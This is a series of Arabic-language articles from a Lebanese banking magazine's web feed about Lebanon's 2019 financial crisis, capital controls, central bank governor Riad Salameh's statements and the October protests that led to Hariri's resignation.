ومع تراجع قيمة الليرة اللبنانية وارتفاع سعر الدولار، في ظل الأزمة التي يعانيها لبنان، واستمرار الحراك الشعبي، والخلافات بين أهل الحكم، لم تستطع المصارف اللبنانية تحييد نفسها عن المشكلات، إذ تهافت الناس على سحب الودائع، وأدى ذلك الى إغلاق المصارف أبوابها لمدة أسبوعين بسبب الأوضاع ولاستكشاف الآلية الجديدة التي ستعمل بها بإشراف مصرف لبنان، وذلك على رغم حدوث تحويلات مالية بالدولار الاميركي أدى الى مزيد من التعثر في القطاع. ثم عادت المصارف وفتحت أبوابها، لكنها استأنفت العمل ضمن ضوابط صارمة على حركة السحوبات والتحويلات الى الخارج، بهدف الحفاظ على القطاع المصرفي.
الواقع أن الأزمة المالية والنقدية سببها التأزم السياسي في البلد، وكذلك عدم قدرة الحكومات على ضبط العجز واستمرار الفساد، وهو ما استدعى تحركاً على أكثر من جهة للتخفيف من حالة الهلع التي يعيشها اللبنانيون وخوفهم من خسارة ودائعهم اذا استمرت الأمور على حالها. وقد فرضت المصارف اجراءات على المودعين من دون الإعلان عنها رسمياً، خصوصاً ما يعرف بالـcapital control وبمنع التحويلات المصرفية إلى خارج لبنان، وكذلك تقييد حركة السحوبات بالدولار، بهدف ضبط الكتلة النقدية وحمايتها من الاستنزاف، طالما أن الاجراءات تحافظ عليها داخل حدود القطاع المصرفي، بمعزل عن الجهة المصرفية التي تودعها في حساباتها. لكن يمكن نقل الأموال (مهما بلغت قيمتها) من حساب إلى حساب ومن مصرف إلى مصرف بالعملة اللبنانية أو بالدولار الأميركي، شرط أن تبقى عملية نقل هذه الأموال (بموجب شيك مصرفي يودع في الحساب ولا يُصرف نقداً مهما كانت قيمته) ضمن القطاع المصرفي اللبناني وعن طريقه.
اجراءات المصارف وموقف الحاكم
سعت المصارف لانتزاع إقرار من حاكم مصرف لبنان رياض سلامه يحميها تجاه الزبائن في لبنان والخارج ويعلن رسمياً تطبيق ما يسمى الـ”كابيتال كونترول” في شكل رسمي، خلافاً لرؤية سلامة الذي يرى أن هكذا إقرار يحتاج إلى تشريع من مجلس النواب، أو أن تتحمل مسؤوليته السلطة السياسية، علماً أن هذه الخطوة ليس منصوصاً عنها صراحة في قانون النقد والتسليف ما يستوجب استصدار تشريع لها. لكن بمعزل عن الالتزام المعلن بقواعد عمل السوق وحرية القطع والتحويل والحرص على حقوق المودعين، اعتمدت غالبية المصارف التدابير الخاصة بها في إدارة عمليات التحويل إلى الخارج، بحيث تم حصرها ضمن أضيق الحدود بالنسبة لحاجات الأفراد، بينما وضعت قيود مشددة للغاية على عمليات التحويل العادية رغم التأكيد المستمر بالحرص على حقوق العملاء.
وكانت التوجيهات العامة الموقتة لجمعية المصارف التي قالت انها تمت بالتشاور مع مصرف لبنان تنص على أن لا قيود على الأموال الجديدة المحولة من الخارج، وأن التحويلات إلى الخارج تكون فقط لتغطية النفقات الشخصية الملحة، ولا قيود كذلك على تداول الشيكات والتحاويل واستعمال بطاقات الأئتمان داخل لبنان، إضافة إلى تحديد المبالغ النقدية الممكن سحبها، لأصحاب الحسابات الجارية بالدولار.
الأزمة والتحويلات
الأزمة المالية الحادة لم يشهد لبنان مثيلاً لها خلال كل تاريخه، فالتطورات أدت إلى تهافت المودعين إلى المصارف ما استدعى وضع قيود على السحوبات والتحويلات، أو ما يعرف بالـCapital Control . لكن هذه الإجراءات أدت في الوقت ذاته الى مشكلات وزيادة المخاطر، اذ أن التحويلات أيضاً من الخارج الى لبنان توقفت أو تراجعت الى حدود خطيرة، إذ أنّ لبنان يعيش على التمويل من الخارج وهذه السياسة تقضي على قدرة لبنان على جذب التحويلات المالية. فهل يتم اللجوء إلى ما يعرف بالـ Haircut. والمعنى من ذلك ان تتخلف الدولة اللبنانية عن دفع ديونها في شكل جزئي أي عندما تشطب جزءاً من دينها”. فالمصارف اللبنانية تدين الدولة اللبنانية مباشرة عبر شراء سندات الخزينة أم عن طريق وضعها للاموال في مصرف لبنان والأخير يقوم بإقراضها إلى الدولة. وهذا يعني ان الدولة اذا قامت بال haircut ستخسر المصارف اللبنانية اصولها. وبما ان هذه القروض تمول بمعظمها من الودائع، فان الـ haircut على حاملي الدين العام قد تترجمه المصارف بـ haircut على اموال المودعين. وهنا تكمن الازمة الاخطر في لبنان.
الاستحقاقات اللبنانية واجراءات المركزي
يُقال أن الحكومة وعلى رغم الأزمة احتاطت لسداد 1.5 مليار دولار أميركي استحقت في أواخر تشرين الثاني 2019 وذلك من خلال مصرف لبنان. وهي سترتاح حتى الاستحقاق الأول المقبل في آذار 2021 بواقع 1.2 مليار. لكن اللبنانيين لا قدرة لهم على السداد بالدولار الأميركي طالما رواتبهم بالليرة التي خسرت حتى الآن نحو 35 في المئة من قوتها التحويلية ونحو 25 في المئة من قوتها الشرائية نتيجة ارتفاع الأسعار. في حين أن هناك ديوناً للقطاع الخاص للمصارف، وديوناً للشركات، فيما يواجه لبنان بسبب الأزمة تراجعًا كبيرًا في معدل النمو 2019 قد يصل إلى 0 في المئة، في وقت تتدنى فيه نسبة تحصيل الدولة للرسوم مع تراجع الأسواق، وهذا دليل على حجم المخاطر التي قد تأخذ البلد إلى الانهيار.
في مواجهة الازمة أكد حاكم مصرف لبنان رياض سلامه في رده على الأزمة وكيفية مواجهتها “اننا امام مرحلة جديدة سنحافظ فيها على سعر صرف الليرة والمصارف تتعامل بالسعر الذي اعلنه مصرف لبنان، وامكاناتنا متوفرة لذلك، والهدف الاساسي الثاني حماية المودعين والودائع وهذا موضوع اساسي ونهائي واخذنا اجراءات حتى لا يكون هناك خسائر يتحملها المودعون. فلا اقتطاع من الودائع ابدا، والالية التي وضعناها هي لحماية المودع من خلال عدم تعثر اي مصرف. وقد اعلمنا المصارف بانها تستطيع الاستلاف من مصرف لبنان بالدولار ولكن هذه الاموال غير قابلة للتحويل الى الخارج انها للاستعمال في لبنان فقط”. وأوضح أن “هناك 30 مليار دولار لدى المركزي جاهزة للاستخدام من الاحتياطات”.
النقطة التي أشار إليها سلامه، وهي أننا مررنا بتحدّيات مالية واستطعنا عبورها، مشيراً إلى أنّنا “عشنا فراغات كبيرة في الحكومات، ومشكلات داخلية، فشهدنا تراجعاً في السيولة وارتفعت الفوائد بمعدّل 3 في المئة.
المحافظة على الليرة
وقال سلامه إن “هدف مصرف لبنان هو المحافظة على الثقة بالليرة اللبنانية وهذا أمر أساسي، والليرة أداة لتأمين النمو الاقتصادي والاستقرار الاجتماعي، ونسب التضخم ترتفع والقدرة الشرائية تتراجع في حال تراجعت الليرة، ونجاح المحافظة على استقرار الليرة اللبنانية”، مشيراً إلى أنّ “التراجع في الحركة الاقتصادية والنمو هو صفر ودون في 2019، وهذا التراجع رفع البطالة وأثّر على فئات عدّة من الشعب اللبناني والتعثّر على صعيد تسديد القروض السكنية”.
وأشار إلى أنّ “الودائع التي أخذناها بالدولار من المصارف دفعنا عليها بين 6.15 و6.89 فوائد”. ولفت إلى أنّ “الوضع اليوم استثنائي، فلبنان اقتصاده حرّ، وله حرّية التداول بجميع السلع، ومنها النقد”، مؤكداً “إنّنا اليوم أمام مرحلة جديدة، وسنحافظ على الاستقرار بسعر صرف الليرة، والفارق الموجود هو نتيجة عرض وطلب”. أضاف، أن “هدف مصرف لبنان الأساسي أيضاً هو حماية المودعين، واتّخذنا الإجراءات لئلا يتحمّلوا الخسائر، ولا “HairCut”، فلا صلاحية قانونية لذلك”، مشيراً إلى أننا “طلبنا من المصارف إعادة درس التسهيلات التي خفّضتها من 17 تشرين الأول/ أكتوبر، وإعادتها إلى وضعها، وطلبنا أيضاً الإبقاء على سقوف بطاقات الائتمان”.
وحسم بأن “مسألة الـ”Capital Control” غير موجودة، ولبنان اليوم يعيش مرحلة تاريخية، ونأمل الوصول إلى مستقبل أفضل. وأكد أن الاقتصاد اللبناني مدولر، أيّ أنّ الثقة بالليرة اللبنانية تساهم باستمرار تدفق الدولارات الى لبنان، والهندسات المالية تساعد أيضاً، ولكن تم فهمها في بعض الأيام بشكلٍ خاطئ”، لافتاً إلى أنّ “الهندسة المالية عام 2016 سمحت بتكوين احتياطات كبيرة دعمت الليرة ورفعت رسملة المصارف، ورفعت الملاءة في ظل تخفيض التصنيف الائتماني وتمويل الدولة”. وقال إنّ “هذه الهندسات تساعد في تأمين دولارات بأسعار فوائد مقبولة، ولا استعمال للمال العام فيها، فيما تبلغ الضرائب على الهندسات 800 مليون دولار”، مشيراً إلى أنّ “المطالب بمراجعة أموال الهندسات يعني خصم الفوائد على الأوراق المالية”.
وأعلن ان “الإحتياطي في مصرف لبنان يقارب الـ38 مليار دولار، بما فيه اليوروبوند واستثمارات البنك المركزي، والقدرة النقدية لدى المصرف في الوقت الحاضر، والتي نستطيع استعمالها فورا هي في حدود الـ30 مليار دولار”.
غياب الحكومة والمسؤوليات
بدا أن لبنان يعيش اليوم حالة فوضى، فإذا كان ما وصل اليه البلد وقيام حركة شعبية تطالب باستعادة الاموال المنهوبة ومكافحة الفساد، فإن من يتحمل المسؤولية عما وصلنا اليه من شبه انهيار واندلاع الأزمة النقدية القائمة ليس سياسات مصرف لبنان وهندساته المالية، انما غياب السلطة عن وضع سياسات مالية واقتصادية تساهم في خفض نسبة العجز. مصرف لبنان حافظ على احتياطاته المالية وهو فقد جزءاً منها بسبب تدخله لحماية العملة اللبنانية ولتمويل الدولة، حتى أن الهندسات المالية ساعدت الدولة على تجاوز مشكلات مالية كثيرة.
الامر المهم في الازمة الحالية أن لبنان يحتاج سريعاً إلى تنفيذ سياسات إصلاحية محدّدة لاحتواء الأزمة النقدية، تبدأ ببرنامج حكومي قادر على تهدئة الناس وإقرار موازنة تهدف إلى خفض العجز تدريجاً حتى تحقيق التوازن عام 2022 ثم العمل في شكل متدرج إلى خفض كلفة أسعار الفائدة المرتفعة، وإصلاح القطاع العام. لكن العمل يجب أن يتركز على النموّ الاقتصادي ومعالجة مشكلة الدين العام وإعادة الثقة الدولية والحصول على مساعدات انطلاقاً من اصلاحات جدية، والاعتراف بالفشل الذي منيت به سياسات الحكومات الاقتصادية. لكن في الوضع الراهن يبدو لبنان يعيش مرحلة دقيقة، إذ أن وكالات التصنيف الدولية تستمر في خفض تصنيفه وخفض تصنيف المصارف اللبنانية أيضاً، وهذا يطرح الكثير من التحديات أمام السلطة المقبلة لتجاوز الازمة، حتى أن الغالبية تجمع على أن لبنان لن يستطيع النهوض من حالة الانهيار التي يعيشها على كل المستويات والتي يمكن اذا استمرت على هذا النحو أن تأخذ البلاد إلى الفوضى، إلا من خلال مساعدات مالية فورية من الخارج، أو على الاقل تأمين أموال يستطيع من خلالها إعادة ضخ الاموال في السوق، طالما أن المصارف أعلنت من خلال اجراءاتها أنها تعاني شحاً في ملاءتها، وهذا ينسحب على طريقة تعاملها مع أموال المودعين.
السؤال، هل يستطيع مصرف لبنان الاستمرار في مواجهة الضغط على الليرة خلال المرحلة المقبلة؟ أم أنه سيواجه الكثير من الاخطار في ظل انعدام الأفق والمسادة، وهو الذي يبذل الكثير من الجهود لتجنيب الدولة الإفلاس… فالثقة بالمصرف المركزي وحاكمه كبيرة ولا بد من انتظار نقلة نوعية للعبور الى التعافي والاستقرار…
مجلة البنك والمستثمر
العدد228
The post هل يخرج لبنان من نفق الانهيار المالي؟ appeared first on البنك و المستثمر.
]]>The post لبنان المتغيّر على مفترق طرق مصيري appeared first on البنك و المستثمر.
]]>أزمة البلد
استقال الحريري، لكن الازمات في البلد لم تنته. أزمة مالية واقتصادية ضربت كل القطاعات ومضاربة على العملة الصعبة جففت الدولار الأميركي من السوق، ومخاوف بدأت تظهر من ثمن باهظ يدفعه البلد، ومن فوضى قد تؤدي إلى الانهيار، ذلك أن الدولار صعد مثلا في السوق السوداء الى أكثر من 1800 ليرة، مع اقفال المصارف لمدة تجاوزت الأسبوعين ومعها كل المؤسسات العامة والمدارس والجامعات، وتوقفت أيضاً عمليات التحاويل الى الخارج، على رغم أن حاكم مصرف لبنان رياض سامه بذل جهودا كبرى لإبقاء السعر الرسمي المتداول للدولار، وأنهى أزمات شراء المحروقات والقمح والدواء، بتوفيره الاموال للاستيراد عبر المصارف. لكن ملامح النقمة الشعبية والانفجار الاجتماعي كانت حاضرة ضد الحكومة، إذ أن كثيراً من الناس لم يعد لديهم ما يخسروه، فنزلوا الى الشوارع، قبل استقالة الحريري وفرضوا استقالته، مطالبين بحكومة جديدة تحمل برنامجاً إصلاحياً شفافاً، لإعادة الثقة.
انتفاضة تتجاوز الواتساب
لم تكن انتفاضة اللبنانيين بسبب زيادة 20 سنت على مكالمات تطبيق الواتسآب المجانية، التي اقترحها وزير الاتصالات محمد شقير، والذي انتقده المتظاهرون على أنه أحد رموز الهدر. فاقتراح هذا الرسم الجديد، كان القشة التي قصمت ظهر البعير، خصوصاً أن الناس لم تعد تحصل على أي تقدمات اجتماعية واقتصادية. وبالنسبة إليهم طفح الكيل من استمرار السلطة الحاكمة في ملء جيوبها، عبر استنزاف جيوب المواطنين، واحتكار الموارد، والمناقصات، والصفقات، ومن لا يُشارك أهل الحكم في أشغاله، تقف مصلحته. كما أن موجة الضرائب والرسوم الجديدة، التي حاولت الحكومة تمريرها، كانت الشرارة التي أيقظت اللبنانيين من سباتهم أخيراً فانتفضوا جميعاً، يريدون رحيل جميع رموز الفساد ومحاكمتهم واستعادة الأموال المنهوبة.
شرارة التحرك الشعبي
فجأة ومن دون سابق إنذار، وفي تحرّك عفوي، قطع اللبنانيون كل الطرقات، بالإطارات المحترقة والحجارة ومستوعبات النفايات، وكل ما يمكن استخدامه من أجل شل حركة المرور. حصل ذلك مساء 17 تشرين الأول/أكتوبر، فتعطلت حركة السير في المدن والقرى والشرايين الرئيسية التي تُغذي العاصمة بيروت. علماً أن الدين العام للبنان بلغ 90 مليار دولار في غياب سياسات اقتصادية حقيقية وإدارة للموارد في شكل وطنيّ وفعاّل، فبات اللبناني يطالب برحيل الطبقة السياسية الحاكمة. المتظاهرون تبرأوا من المندسين، واتهموا الأحزاب بإرسال أنصارهم لتحقيق هدفين: تشويه سُمعة الانتفاضة عبر تخريب الممتلكات، والتهويل لثني المواطنين عن التظاهر. حصل ذلك بعدما حاولت قوى سياسية وطائفية الدخول على خط الحراك واستغلاله لغايات أخرى، واستحضار صراعات طائفية، لكنها لم تنجح حتى في حرف المتظاهرين عن شعاراتهم، وإن كانت ظهرت هتافات من أقلية منهم أثارت ردود فعل وانتقادات من قوى سياسية أخرى رأت في الانتفاضة انها تتحرك بأمر قوى خارجية. خرج رئيس الحكومة سعد الحريري في 19 تشرين الأول/أكتوبر مخاطباً الناس من السرايا الحكومية. أمهل شركاءه في الحكم 72 ساعة، للتقدم بأفكار للإصلاح، وكأن الحمل ليس حمله أيضا، فتساءل الناس كيف تُصلح في 72 ساعة ما أفسدته الطبقة السياسية في عقود؟ هذا هو سؤال ال 90 مليار دولار. وسبقت خطاب الحريري، كلمة لوزير الخارجية جبران باسيل، رئيس التيار الوطني الحر، مباشرة من القصر الجمهوري، فقدم وعودا في ورقة الإصلاح التي تقدمّ بها نواب حزبه ولم يتبناها وزراء بقية الأحزاب في الحكومة، فيما اعترف حزب الله بوجود مشكلة معيشية وحياتية في البلد، لكنه طالب بالإبقاء على الحكومة خوفاً من الفراغ.
الورقة الاصلاحية
الواقع أن الانتفاضة لم تكن بحاجة الى دوافع، فالمعاناة الاجتماعية والصحية والبيئية والاقتصادية والمالية والوطنية شاملة وشديدة التأثير على المواطنين، وتطال معظم الشعب اللبناني، فيما بدا الافق مسدوداً لحلول سريعة ومواتية، فتعددت الساحات وانتشرت في المحافظات جميعها، وأعطت بعداً لا مركزياً للتحركات، وساهمت في جمع أكبر عدد من المعتصمين بلغ نصف الشعب اللبناني. اتخذت “انتفاضة الغضب” أبعادا ودلالات فاصلة خلال 13 يوماً وهي لم تكن مفاجئة لكثيرين، ذلك ان المد التصاعدي للتحركات الاحتجاجية في مختلف المناطق اللبنانية لم يتراجع ولم ينحسر أمام أول رد عملي للسلطة، الذي تمثل في تبني مجلس الوزراء الخطة الاصلاحية “الانقاذية” التي وضعها رئيس الحكومة سعد الحريري وأجرى في شأنها مشاورات سياسية واسعة قبل أن يتبناها مجلس الوزراء. هذا حصل في أول مرحلة من التحرك، لكن الورقة لم تقنع الشارع فتصاعدت الانتفاضة. القرارات التي اتخذها مجلس الوزراء والذي ألغى فيها الضرائب من موازنة 2020 بسحر ساحر وبنسبة عجز صفر في المئة، تعتبر الاولى من نوعها لجهة الخطوات الاقتصادية والمالية التي تضمنتها الخطة الاصلاحية مقترنة بإنجاز موازنة 2020 . علماً أن الدول المشاركة في مؤتمر “سيدر” ووكالات التصنيف الدولية عجزت سابقاً عن حمل السلطة ومكوناتها على تحقيق هذه الخطة وعلى التزام السقوف الاصلاحية الصارمة التي تطلبها عملية تأمين الدعم الدولي للبنان، فاذا بخمسة أيام فقط من الحراك أي في 22 تشرين الثاني/أكتوبر والذي عم لبنان يدفع الحكومة الى تبني احدى أكثر الخطط المتقدمة نسبياً ونوعياً على الصعيد الاصلاحي قياساً بالسياسات الحكومية السابقة المتعاقبة. لكن هذا التطور لم يبدل شيئاً في مسار التحركات الاحتجاجية التي تواصلت بزخم تصاعدي في رد مباشر على الخطوة الحكومية وتمسكاً بالمطلب المركزي للمحتجين المتمثل في استقالة الحكومة وتشكيل حكومة مستقلة تحصر مهمتها بإجراء انتخابات نيابية مبكرة.
هل يمكن إعادة النهوض؟
تضمنت ورقة الحكومة قبل أن يستقيل الحريري إجراءات إصلاحية جذرية للنهوض بالاقتصاد وتحفيز النمو، كما أقرت مشروع موازنة 2020 بنسبة عجز تبلغ 0.6 %، من دون فرض أي ضريبة، وأحيل على مجلس النواب. ومن أبرز المقررات: مساهمة القطاع المصرفي ومصرف لبنان في خفض العجز بقيمة 5100 مليار ليرة، زيادة الضريبة على أرباح المصارف، خفض رواتب الرؤساء والوزراء والنواب الحاليين والسابقين بنسبة 50 %، وخفض موازنات مجلس الانماء والاعمار وصندوق المهجرين ومجلس الجنوب بنسبة 70 %، إعداد مشروع استعادة الاموال المنهوبة وقانون إنشاء الهيئة الوطنية لمحاربة الفساد قبل آخر السنة الجارية، إقرار مشاريع المرحلة الاولى من مؤتمر “سيدر” وقيمتها 11 مليار دولار خلال 3 اسابيع. وتحدث الحريري كأنه شخص آخر في مقاربته للأزمة عندما تمنى الغاء النظام الطائفي، وأن الذي أقرته الحكومة هو “تغيير كامل في عقلية التعامل مع الامور في الموازنة، فالإنفاق في الحكومة والمؤسسات يكاد يوازي الصفر، وهو ما من شأنه إغلاق الباب على أي هدر وفساد، لان الحكومة لن تصرف أي قرش، وسيكون الانفاق بكامله من خلال الاستثمار الخارجي، إذ لن يقبل أي مستثمر خارجي بأي هدر أو فساد، واعتمادنا بأكمله سيكون على هذا الاستثمار، وهو الضامن للنمو”. فيما اعتبر رئيس مجلس النواب نبيه بري الاصلاحات التي أقرت بانها جيدة و“المطلوب تطبيقها في أسرع وقت وكان من الافضل ان تقترن بجملة من الاصلاحات السياسية مثل العمل على اطلاق عجلة الهيئة الوطنية لالغاء الطائفية السياسية والتوجه نحو الدولة المدنية التي تبقى خشبة الخلاص للبنان”. لم يتفاعل الشارع مع إقرار الورقة الاصلاحية إذ ان أصداء الساحات كانت رافضة لمقايضة تحركاتهم بورقة إصلاحات كان يمكن للحكومة الحالية أو تلك التي سبقتها ان تقرها منذ سنوات طويلة. فاستعاد الشارع نبضه وامتلأت الساحات وسط إصرار على مطلب استقالة الحكومة ورحيل الطبقة السياسية واستعادة الاموال المنهوبة. وطالب المتظاهرون بخريطة طريق تبدأ بتشكيل حكومة مصغرة من التكنوقراط تنتج قانوناً انتخابياً يؤمن مرحلة انتقالية.
فئات جديدة
تظاهرات اللبنانيين الغاضبين من تردي الأوضاع المعيشية وفرض الضرائب لم تشبه أي حراك آخر. كانت المرة الأولى التي تعم فيها التظاهرات كل المدن اللبنانية وفي مناطق كانت تقدم الولاء المطلق، إن في الجنوب أو الشمال أو حتى في جبل لبنان، فيما بقيت بيروت القلب النابض الذي يستقطب ويحرك مسار التغيير. والواقع أن جيلاً جديدا خرج إلى الشارع عفويا غالبيته من طلاب الجامعات وتلامذة المدارس، واستقطب خلال أيام 3 فئات مختلفة، متحرراً من السيطرة الحزبية أو الطائفية السياسية ومن أي ولاءات مشروطة، ورفع شعارات تفاوتت بين اسقاط الحكومة وإجراء إصلاحات سريعة. ولم تستطع القوى المشاركة في الحكم أن تدخل على خط الحراك أو تجيره لحساباتها على رغم محاولات عدة، ليتبين أن لا أحد من المتظاهرين هتف بإسم زعيم سياسي أو رفع شعارات فئوية حزبية أو طائفية، ليتبين أن الشعب اللبناني الغاضب قد خرج عفوياً من مناطق مختلفة ومن فئات اجتماعية عانت إلى حد الاختناق، ولم ينتظر نقابة أو اتحاداً عمالياً، ولتكتشف الطبقة السياسية أن جمهوراً كان تحت عباءتها انتفض ليقول أن لا ولاء مطلقاً بعد اليوم، وليتهمها مباشرة بالفساد والنهب والمحاصصة، ما أدى إلى إرباكها وقلقها، علماً أن كثيراً من القوى حاولت توظيف الحراك الشعبي، وهو الذي تخللته أيضاً ممارسات شوّهت بعض صورته.
حراك متجدد
ولدت فئات شبابية جديدة، فيما الحراك أثبت استقلاليته وإن كانت هناك بعض الالتباسات في التمويل الذي يعود الى قوى خارجية، لكنها لم تغلب على عفوية الكثير من المتظاهرين الذين نزلوا بلا قرارات سياسية، وإن كان الحراك با قيادة يحتاج تبلورها إلى تراكم ومحطات كثيرة وهي تخرج فقط من داخل التظاهرات والحراك بالفعل ولا تسقط عليهما بالقوة. علما أن اتصالات أوروبية مكثفة تلقاها الحريري على سبيل المثال، دعته الى عدم الاستقالة والاستمرار في الحكم، حتى أن الفرنسيين كانوا أكثر تشدداً بموقفهم وطلبهم، لعدم ترك البلد، خصوصاً وأن هناك تعهدات بين الحكومة اللبنانية والجهات المانحة للخروج من المأزق المالي. لكن الحريري نفسه الذي لم يستطع اتخاذ قرار الاستقالة الا بعد 13 يوماً من الحراك، لم يستطع إقناع القوى الأخرى ببرنامجه الإنقاذي، وما قدمه أصلاً للخروج من الأزمة لم يقنع المتظاهرين. ولأن لبنان يعيش اليوم أخطر أزماته، فهو على مفترق طرق مصيري، أولاً بعد استمرار الاحتجاجات بعد استقالة الحريري واتخاذها أبعاداً سياسية وطائفية مختلفة عن الحراك الأول، إلا أنه لا يمكن القفز فوق ما حققته انتفاضة اللبنانيين بصفتها الجامعة والوطنية، وإن كنا اليوم أمام أخطار قد تأخذ البلد الى الفوضى، أو يخرج من يقود العملية الإنقاذية بعيداً عن الاصطفافات، إنطلاقاً من أن التحركات الشعبية عبرت أساساً عن الصرخة العارمة من الأوضاع المعيشية التي باتت تقارب المستحيل على أكثر من مستوى وفي غير مجال وجاءت تعبيراً عن تراكم الوجع من تزايد حالة الفقر ومن صعوبة تأمين أبسط الحقوق والمتطلبات من تعليم وطبابة ومن تزايد البطالة وتحول الجامعات الى مراكز لتخريج العاطلين عن العمل، فضلاً عن الارتفاع غير المسبوق في نسبة العجز وزيادة الهدر في ظل انعدام حصول المواطن على أبسط التقديمات الواجب على الدولة تأمينها من مياه وكهرباء ومعالجة مشاكل النفايات، علماً أن الموازنة قبل أن تقرها الحكومة الحالية التي استقال رئيسها كانت تتضمن ضرائب غير مسبوقة على المواطنين والقطاعات الانتاجية وحتى على القطاعات الاقتصادية وبنسب لم يشهد لها لبنان مثيلاً في تاريخه.
لا عودة إلى الوراء
لبنان تغير اليوم ولم يعد ممكناً العودة الى الوراء في ظل أزمة مستفحلة. بدأ الحراك يتحول الى صيغة مختلفة تدخل فيها حسابات أخرى سياسية وطائفية، علماً أنه في صيغته الأولى دفع السلطة الى البحث عن مخارج عدة بعدما فشلت خطط امتصاص الغضب وإنهاء الحراك، فيما انتفاضة الشارع لم تخرج منها قيادة موحدة، إذ أن أي طرف أو مجموعة لم تستطع تصدر المشهد، خصوصا وأن قسما من المتظاهرين لا يتبنى شعار إسقاط النظام. فهل يمكن القول أن لبنان سيدخل مسار الاصلاحات وترتيب الحكم على أسس من الشفافية والمساءلة تسمح بمعالجة الأزمة المالية والاقتصادية، أم ان الأمور يمكن ان تتصاعد في اتجاهات سلبية غير مأمونة العواقب في حال استخدام ما يحصل في اطار صراعات الخارج، وإدخال البلد في أتون صراعات حادة مشتعلة تودي به وتنهي كل ما هو مضيء. اسئلة تبقى مفتوحة أمام ما نشهده على كل المستويات، لذا بات واضحاً أن المرحلة التي يمر بها لبنان تستلزم التضامن من الجميع وإطلاق يد الذين أثبتوا انهم حريصون على مستقبل البلد والذين حموه من الانهيار النقدي والمالي قبل رفع شعارات تضع أصحاب الثقة في موضع الاتهام. وإلى أن يتنبه الجميع أن البلد في خطر حقيقي، لا بد من فتح الطرق في شكل نهائي بين اللبنانيين وان استمرت الاحتجاجات وإعادة العمل في مختلف القطاعات وفي مقدمها المصارف لتسيير شؤون الناس. أما التغيير فيحتاج الى محطات وتراكم ووقت ننزع منه كل الرهانات المتسرعة.
The post لبنان المتغيّر على مفترق طرق مصيري appeared first on البنك و المستثمر.
]]>The post رياض سلامه المنقذ الأخير للنقد appeared first on البنك و المستثمر.
]]>أمام عاصفة الدولار الأميركي في لبنان اتخذ “سلامه” اجراءات يؤمن المصرف المركزي من خلالها حاجات القطاعين العام والخاص بالعملات الأجنبية. فجاءت إجراءاته لتعيد تهدئة السوق، وذلك عبر تعميم ينظم توفير الدولار للمصارف بالسعر الرسمي المعلن عنه لتأمين استيراد البنزين ومشتقات المحروقات والأدوية والطحين، وهي التي تستنزف العملة الصعبة. وهو أخرج الملف من سوق الصرافة الموازية التي تهافت عليها اللبنانيون خلال الأسابيع الماضية، وكادت تطيح بالليرة اللبنانية نتيجة المضاربة
مراكمة الإحتياطات لحماية النقد
لا يستطيع “رياض سلامه” التفريط باحتياطات مصرف لبنان. ففي كل الأزمات كان هذا الاحتياط صمام أمان. فإذا اتهم بأنه يحفظ الدولارات والعملة الصعبة ليضعها في احتياطات المصرف المركزي بالعملات الأجنبية، فإنه في المقابل لا يلبي الحاجات الضرورية لمنع الفوضى والتفلت في أسعار العملات، لذا يستمر مصرف لبنان في مراكمة الاحتياطات للتدخل في السوق ولتلبية الحاجات من جهة، ثم المحافظة على نسبتها المرتفعة لتكريس الثقة وجذب المزيد من العملات الأجنبية من الخارج، وذلك بهدف تغطية السوق المحلية والتدخل عند الحاجة لإبقاء سعر الصرف ثابتاً لليرة اللبنانية مقابل الدولار، علماً أن الطلب الأساسي على العملات الأجنبية يأتي من عمليات الإستيراد التي تحتاج سنوياً لمبلغ يفوق ال 16 مليار دولار في مقابل 3 ملايين دولار تصدير، وهذا الامر يؤدي إلى خلل في ميزان المدفوعات.
يعرف الجميع أن “رياض سلامه” يسعى الى تأمين الاستقرار، فلا تسرّع هنا ولا عشوائية هناك. ويدرك كثيرون أيضاً أن تدفق الدولارات إلى لبنان تراجعت وتيرته، وكذلك تدفق الودائع، فتحمل مصرف لبنان أعباء إضافية استنزفت بعض احتياطاته بالعملات الأجنبية لتغطية الطلب، لذا وضع “سلامه “سقوفاً لعمليات بيع الدولارات في السوق، من دون تقنينها، مع الحفاظ على السيولة بالدولار لدى المصارف لبيعها للمستوردين بالحد الأدنى، لذا كان تمويل الإستيراد مدروسا على رغم الأزمات القائمة، ومن بينها ماأعلنه تجار النفط وشركات المحروقات الذين يستوردون بالدولار، إنما تعامل “سلامه” مع الأمر بروية، خصوصاً أمام مشكلة تراجع تدفق العملات الصعبة، وتمكن من توفير حد أدنى من الاستقرار.
أما الحل النهائي، فيكمن وفق “سلامه” في العمل على رفع نسبة التصدير والتخفيف من الاستيراد لخلق توازن في السوق في ما يتعلق بالعملات، أقله في المرحلة الصعبة الحالية.
حماية الودائع من العقوبات
تمكن الحاكم “سلامه” من التعامل مع وضع “جمال ترست بنك” على اللائحة السوداء الأميركية بكثير من الهدوء والحرفية، فهو لم يخضع للضغوط ولم ينفذ الرغبات الأميركية التي كانت تدعو الى تصفية البنك سريعاً، لذا هو ميز بين شقين، فليست كل ودائع “جمّال ترست بنك” مدرجة في لائحة مكتب الأصول الأجنبية OFAC التابع لوزارة الخزانة الأميركية، وهذه نقطة جرى العمل عليها بدقة، فتمكن مصرف لبنان من تسديد كل الودائع البالغة قيمتها 5 آلاف دولار أميركي، (عملات أجنبية وليرة لبنانية) خصوصاً تلك البالغة ألفي دولار أميركي من أصل ودائع لنحو 89 ألف مودع في “جمال ترست بنك”، وهو ما أبلغه سلامه حرفياً لجمعية مصارف لبنان. وبينما تدقق لجنة الرقابة على المصارف، وهيئة التحقيق الخاصة بالشيكات المصدّرة من “جمّال ترست بنك” على مصرف لبنان، تمكن الحاكم “سلامه” من التواصل مع وزارة الخزانة الأميركية، والتأكيد أن ودائع الزبائن الشرعية غير معنية بقرار إدراج المصرف في لائحة OFAC ، ويمكن أن تنتقل الودائع إلى مصارف أخرى، إضافة إلى محفظة قروض المصرف. ولتسوية القضية، أعلن الحاكم أنهّ وافق على طلب “جمال تراست بنك” إفادة المصرف من أحكام المادة 17 من القانون رقم 110 تاريخ 7 / 11 / 1991 المتعلق بالتصفية الذاتية، ما يعني أن التصفية تمت بقرار ذاتي.
معدلات الملاءة واستقطاب الأموال
